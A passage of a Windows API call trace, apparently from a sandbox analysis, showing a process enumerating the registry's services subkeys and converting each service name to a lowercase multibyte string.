WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.692] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0220.693] RegCloseKey (hKey=0x150) returned 0x0 [0220.693] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.693] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a48, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.693] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f16e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.693] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0220.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a48, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.694] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f16e8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.694] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.694] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0220.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.695] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.695] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.695] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.695] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0220.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f16e8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.696] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.696] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.696] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0220.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.696] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.697] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.697] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.697] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0220.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0220.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.698] RtlFreeHeap 